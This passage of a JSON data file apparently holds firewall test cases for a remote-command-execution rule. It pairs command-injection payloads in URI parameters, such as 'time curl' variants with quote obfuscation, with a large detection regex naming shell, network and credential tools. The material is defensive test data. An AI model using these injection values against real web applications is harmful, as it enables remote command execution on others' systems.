(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=time+curl+coreruleset.org" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)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$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|t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|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Remote Command Injection test for BB finding 935E1D91" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=ti''me+curl+coreruleset.org" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\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x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\